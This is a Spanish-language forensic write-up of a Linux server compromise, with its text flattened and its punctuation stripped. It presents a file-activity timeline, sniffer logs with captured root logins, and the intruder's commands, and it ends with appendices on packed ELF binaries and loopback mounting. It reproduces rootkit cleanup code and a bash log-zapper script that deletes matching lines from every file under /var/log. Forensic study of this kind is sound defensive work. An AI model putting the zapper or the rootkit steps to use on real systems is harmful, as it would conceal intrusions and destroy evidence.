Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

